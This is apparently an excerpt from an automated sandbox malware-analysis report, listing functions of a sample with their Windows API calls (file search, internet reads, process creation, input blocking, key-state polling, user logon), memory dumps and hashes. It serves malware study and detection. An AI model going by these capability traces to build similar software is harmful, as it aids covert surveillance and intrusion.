                              • Opcode ID: 8409e1e1a3b6e8568ef346b3eec2e6609d783923d36277a6c09bfee55c093031
                              • Instruction ID: 961864e7757f6edfa256f53df2fe8495351bb1c33360f7104140ceff5b52ad59
                              • Opcode Fuzzy Hash: 8409e1e1a3b6e8568ef346b3eec2e6609d783923d36277a6c09bfee55c093031
                              • Instruction Fuzzy Hash: 7002A070E002499FEF28CF69C4907AEBBF2AF95304F2481AED45297381D7396D4ACB55
                              Function 0045CAFA Relevance: 4.6, APIs: 3, Instructions: 130fileCOMMON
                              Download Yara Rule
                              APIs
                              • FindFirstFileW.KERNEL32(00000000,?,?), ref: 0045CB1F
                              • FindNextFileW.KERNEL32(00000000,?), ref: 0045CB7C
                              • FindClose.KERNEL32(00000000,00000001,00000000), ref: 0045CBAB
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Find$File$CloseFirstNext
                              • String ID:
                              • API String ID: 3541575487-0
                              • Opcode ID: b82a98c6df9a243ef4fbf3c667c5144d50f68704456ba494e21579813087d3e5
                              • Instruction ID: f333144462bda28c064cc07c1e05bb1389ec512a64b809c533c1c3d7cc497df0
                              • Opcode Fuzzy Hash: b82a98c6df9a243ef4fbf3c667c5144d50f68704456ba494e21579813087d3e5
                              • Instruction Fuzzy Hash: 6741DF716003019FC710EF69D881A9BB3E5FF89315F108A6EE9698B351DB75F844CB94
                              Function 004339B6 Relevance: 4.5, APIs: 3, Instructions: 28fileCOMMON
                              Download Yara Rule
                              APIs
                              • GetFileAttributesW.KERNEL32(?,00000000), ref: 004339C7
                              • FindFirstFileW.KERNEL32(?,?), ref: 004339D8
                              • FindClose.KERNEL32(00000000), ref: 004339EB
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: FileFind$AttributesCloseFirst
                              • String ID:
                              • API String ID: 48322524-0
                              • Opcode ID: 957631a30c41d6cd228e989780156951a90b63876f33aac8b2b1d3c9657f363e
                              • Instruction ID: b419dbaef297d354eb99830e4178f101d1a7f75c7260f3cbf0392e7d05c3e8e7
                              • Opcode Fuzzy Hash: 957631a30c41d6cd228e989780156951a90b63876f33aac8b2b1d3c9657f363e
                              • Instruction Fuzzy Hash: 22E092328145189B8610AA78AC0D4EE779CDF0A236F100B56FE38C21E0D7B49A9047DA
                              Function 004422FE Relevance: 3.1, APIs: 2, Instructions: 89networkfileCOMMON
                              Download Yara Rule
                              APIs
                              • InternetQueryDataAvailable.WININET(?,?,00000000,00000000), ref: 0044231E
                              • InternetReadFile.WININET(?,00000000,?,?), ref: 00442356
                                • Part of subcall function 004422CB: GetLastError.KERNEL32 ref: 004422E1
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Internet$AvailableDataErrorFileLastQueryRead
                              • String ID:
                              • API String ID: 901099227-0
                              • Opcode ID: b48fbef154557e42056369557a390c5e15e1cd9efc8ac9760c34eb316c367bda
                              • Instruction ID: 2cb050104b41b6b223ad4d4b8d529f91c68f3ac810c45c6f1fc1690b5501c343
                              • Opcode Fuzzy Hash: b48fbef154557e42056369557a390c5e15e1cd9efc8ac9760c34eb316c367bda
                              • Instruction Fuzzy Hash: B32174752002047BFB10DE26DC41FAB73A8EB54765F40C42BFE059A141D6B8E5458BA5
                              Function 0045034C Relevance: 3.1, APIs: 2, Instructions: 88nativeCOMMON
                              Download Yara Rule
                              APIs
                              • GetParent.USER32(?), ref: 004503C8
                              • NtdllDialogWndProc_W.USER32(?,00000138,?,?), ref: 00450417
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: DialogNtdllParentProc_
                              • String ID:
                              • API String ID: 2395719762-0
                              • Opcode ID: 257248ebf188e141d38afd5c48be2ff607e0986a31bd54eef4ebc635ce2a3468
                              • Instruction ID: c99212cd859981529d564057689d428d6c5f9a70333a9b0d3c053c51a1006402
                              • Opcode Fuzzy Hash: 257248ebf188e141d38afd5c48be2ff607e0986a31bd54eef4ebc635ce2a3468
                              • Instruction Fuzzy Hash: 6911D6351062C0ABD7139B38CC8589B3F68DE43335B18069BF9984F2A3CA344849CB6B
                              Function 0046A38E Relevance: 3.1, APIs: 2, Instructions: 59nativeCOMMON
                              Download Yara Rule
                              APIs
                              • NtdllDialogWndProc_W.USER32(?,00000114,00000000,?), ref: 0046A41E
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: DialogNtdllProc_
                              • String ID:
                              • API String ID: 3239928679-0
                              • Opcode ID: 48e87686a5ea7b01e998f9eaac7baca7642045ed066bdf8ff442be2b7787ab7b
                              • Instruction ID: c63ea47e1094e29e9280ddef29c929305bd4827c6ad27dba34d4d07e9709e350
                              • Opcode Fuzzy Hash: 48e87686a5ea7b01e998f9eaac7baca7642045ed066bdf8ff442be2b7787ab7b
                              • Instruction Fuzzy Hash: DF1127322001046BDB10CB04DC849AB7B24EF86324F20811BF60597282CF799C62DBA6
                              Function 00447ABC Relevance: 3.1, APIs: 2, Instructions: 58nativewindowCOMMON
                              Download Yara Rule
                              APIs
                              • SendMessageW.USER32(?,00000401,00000000,00000000), ref: 00447B1B
                              • NtdllDialogWndProc_W.USER32(?,0000002B,?,?), ref: 00447B41
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: DialogMessageNtdllProc_Send
                              • String ID:
                              • API String ID: 3814093946-0
                              • Opcode ID: 4cacbd902a3e8074bd40219f09cd08209c02a14dfdcaa0ba7cf7d9d990aaa468
                              • Instruction ID: c1d44d43ee376328972d656b5f00bca06b75d59f5ecfdf91114eb8bc10ef771e
                              • Opcode Fuzzy Hash: 4cacbd902a3e8074bd40219f09cd08209c02a14dfdcaa0ba7cf7d9d990aaa468
                              • Instruction Fuzzy Hash: C611C832200250ABE220DF45EC84FABB769FBD6728F10462FF6404B290C775A846C765
                              Function 004629B7 Relevance: 3.0, APIs: 2, Instructions: 48nativeCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00456391: GetCursorPos.USER32(?), ref: 004563A6
                                • Part of subcall function 00456391: ScreenToClient.USER32(?,?), ref: 004563C3
                                • Part of subcall function 00456391: GetAsyncKeyState.USER32(?), ref: 00456400
                                • Part of subcall function 00456391: GetAsyncKeyState.USER32(?), ref: 00456410
                              • NtdllDialogWndProc_W.USER32(?,00000201,?), ref: 00462A03
                              • NtdllDialogWndProc_W.USER32(?,00000204,?,00000000), ref: 00462A24
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: AsyncDialogNtdllProc_State$ClientCursorScreen
                              • String ID:
                              • API String ID: 2121657457-0
                              • Opcode ID: 3aa67e009f936217d0391dd0aa5e8dd8940afc03e729d5e986ef420fd54892e7
                              • Instruction ID: 08c67b91cd2399f8ba12915c6cae0ffbb32616dfeb2567f7c91428428e8fa67e
                              • Opcode Fuzzy Hash: 3aa67e009f936217d0391dd0aa5e8dd8940afc03e729d5e986ef420fd54892e7
                              • Instruction Fuzzy Hash: 76018172240124BBE7049F86EC99DFFB76CEB85762F10402BFA4197192C6B59811CBB5
                              Function 0047EA6F Relevance: 2.0, APIs: 1, Instructions: 502nativeCOMMON
                              Download Yara Rule
                              APIs
                              • NtdllDialogWndProc_W.USER32(?,?,?,?), ref: 0047EA9E
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: DialogNtdllProc_
                              • String ID:
                              • API String ID: 3239928679-0
                              • Opcode ID: abcbf0d1afc1a497e280cfdffd4bd47b828388575322d1f456f5668f6881d692
                              • Instruction ID: f892bfb12232205f5f58103f0897237a3558493ed3735c4837d976d353c396a9
                              • Opcode Fuzzy Hash: abcbf0d1afc1a497e280cfdffd4bd47b828388575322d1f456f5668f6881d692
                              • Instruction Fuzzy Hash: 82B1167330C1182DF218A6AABC81EFF679CD7C5779B10863FF248C55C2D62B5821A1B9
                              Function 00454D4A Relevance: 1.6, APIs: 1, Instructions: 77nativeCOMMON
                              Download Yara Rule
                              APIs
                              • NtdllDialogWndProc_W.USER32(?,00000112,?,?), ref: 00454E27
                                • Part of subcall function 0044A2D2: GetForegroundWindow.USER32(?,?,00454D9F), ref: 0044A2D4
                                • Part of subcall function 0044A2D2: GetFocus.USER32 ref: 0044A2DC
                                • Part of subcall function 0044A2D2: SendMessageW.USER32(?,000000B0,-000001C0,000001C4), ref: 0044A34E
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: DialogFocusForegroundMessageNtdllProc_SendWindow
                              • String ID:
                              • API String ID: 3709282597-0
                              • Opcode ID: 2a1abc26f848726e463eeb31abb0a79edbc8a7602353227157934bc66e6abeed
                              • Instruction ID: 0d7498517a66c8e0d20d87096163d77891ca4f2c4ab911853f7c76cc33d73eb4
                              • Opcode Fuzzy Hash: 2a1abc26f848726e463eeb31abb0a79edbc8a7602353227157934bc66e6abeed
                              • Instruction Fuzzy Hash: 0A21263168411535F7341A15CD06FBB2618E79272BF20022FFE50991D3CADC5CD9A23E
                              Function 0044048E Relevance: 1.5, APIs: 1, Instructions: 32nativeCOMMON
                              Download Yara Rule
                              APIs
                              • NtdllDialogWndProc_W.USER32(?,00000006,?,?), ref: 004404DC
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: DialogNtdllProc_
                              • String ID:
                              • API String ID: 3239928679-0
                              • Opcode ID: 2b72283bca5b9e831272dd2a7d53a0b5c7148644ca1e9fa5d4a4720e5b910540
                              • Instruction ID: 57bcafdb766b4b2a09d5adb44fbeadd94fd8413be8ed8c1894e52dfe49116fd8
                              • Opcode Fuzzy Hash: 2b72283bca5b9e831272dd2a7d53a0b5c7148644ca1e9fa5d4a4720e5b910540
                              • Instruction Fuzzy Hash: 1EF0B471500254ABE7148F05DC40A7B7B79EB86720F20461EFA144B280CB75AC62CBF4
                              Function 0044036A Relevance: 1.5, APIs: 1, Instructions: 29nativeCOMMON
                              Download Yara Rule
                              APIs
                              • NtdllDialogWndProc_W.USER32(?,00000053,?,?), ref: 004403A3
                                • Part of subcall function 00430B0F: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,004A9568,004A9554), ref: 00430B6C
                                • Part of subcall function 00430B0F: CloseHandle.KERNEL32(00000000), ref: 00430B7D
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: CloseCreateDialogHandleNtdllProc_Process
                              • String ID:
                              • API String ID: 4178364262-0
                              • Opcode ID: 18637488ffc27074e36ea774df1fe185273bfafa6678f284e57b2aa28cd93e6f
                              • Instruction ID: b7a625ee7c2def1aa5d9f3d540ff339fd2ef2d8d1ff8bada222fa30ad2921ed2
                              • Opcode Fuzzy Hash: 18637488ffc27074e36ea774df1fe185273bfafa6678f284e57b2aa28cd93e6f
                              • Instruction Fuzzy Hash: B9F06D76240218ABDB00EF88EC50D9B73ADEF8D355B00881AFE449B341CB74BD60CBA4
                              Function 00454CFC Relevance: 1.5, APIs: 1, Instructions: 27nativeCOMMON
                              Download Yara Rule
                              APIs
                              • NtdllDialogWndProc_W.USER32(?,00000232,?,?), ref: 00454D3F
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: DialogNtdllProc_
                              • String ID:
                              • API String ID: 3239928679-0
                              • Opcode ID: 8b2826b66b2b31c60da67efd8c1127cd395e8061a58d0ebf04d064e84851811b
                              • Instruction ID: 9a3c2df9a808ce5be259132a16ac8c8eacf78c0d12b80627a94478e4176c466c
                              • Opcode Fuzzy Hash: 8b2826b66b2b31c60da67efd8c1127cd395e8061a58d0ebf04d064e84851811b
                              • Instruction Fuzzy Hash: DCF08C70244208BBE310DE48CC45F9B7BA8EB4A715F508109F958572D2CAB07844CBA5
                              Function 0044786A Relevance: 1.5, APIs: 1, Instructions: 25nativeCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00430CCB: FreeLibrary.KERNEL32(?), ref: 00430CD8
                              • NtdllDialogWndProc_W.USER32(?,0000031A,?,?), ref: 0044789F
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: DialogFreeLibraryNtdllProc_
                              • String ID:
                              • API String ID: 4233852882-0
                              • Opcode ID: 2bb9f87cd0a41e8130f62da48c4106c6c5914e99f78363fa9e43659e77d0986b
                              • Instruction ID: fc5b3b6852e979a31c658b193d70e7a126e9e4bfaffbe52d983344414c160798
                              • Opcode Fuzzy Hash: 2bb9f87cd0a41e8130f62da48c4106c6c5914e99f78363fa9e43659e77d0986b
                              • Instruction Fuzzy Hash: 79E0EDB5D15218BBDB00EFB5DC498EEB7ACEB88301B00896AFC1193241D6749A118FA5
                              Function 0045A370 Relevance: 1.5, APIs: 1, Instructions: 24keyboardCOMMON
                              Download Yara Rule
                              APIs
                              • BlockInput.USER32(00000001), ref: 0045A38B
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: BlockInput
                              • String ID:
                              • API String ID: 3456056419-0
                              • Opcode ID: 458ede1686394d551c7eb4c8b41db034409c2976cc7efd11918dc51f9e1a79d5
                              • Instruction ID: ec784d9e1adcb2c5bdb0852901797f150ca91aa996cd98963819779bf85d9a24
                              • Opcode Fuzzy Hash: 458ede1686394d551c7eb4c8b41db034409c2976cc7efd11918dc51f9e1a79d5
                              • Instruction Fuzzy Hash: D8E0DF352002029FC300EF66C84495AB7E8EF94368F10883EFD45D7341EA74E80087A6
                              Function 00447B4E Relevance: 1.5, APIs: 1, Instructions: 23nativeCOMMON
                              Download Yara Rule
                              APIs
                              • NtdllDialogWndProc_W.USER32(?,00000007,?,00000000), ref: 00447B7E
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: DialogNtdllProc_
                              • String ID:
                              • API String ID: 3239928679-0
                              • Opcode ID: 8e6373e291cc12f70f08d4f4410b7c8524115a22fdba9030887a55257885973c
                              • Instruction ID: 312b02e0ec000ae8217ec3e2a2b597e760e3ea2cc33aa0823c57154ec146f294
                              • Opcode Fuzzy Hash: 8e6373e291cc12f70f08d4f4410b7c8524115a22fdba9030887a55257885973c
                              • Instruction Fuzzy Hash: F0E08635640114BFD600EF85DC51FEB772CEF8A754F20800AFA044B291CA75F802CBA9
                              Function 00436CD7 Relevance: 1.5, APIs: 1, Instructions: 22COMMON
                              Download Yara Rule
                              APIs
                              • LogonUserW.ADVAPI32(?,?,?,?,00000000,?), ref: 00436CF9
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: LogonUser
                              • String ID:
                              • API String ID: 1244722697-0
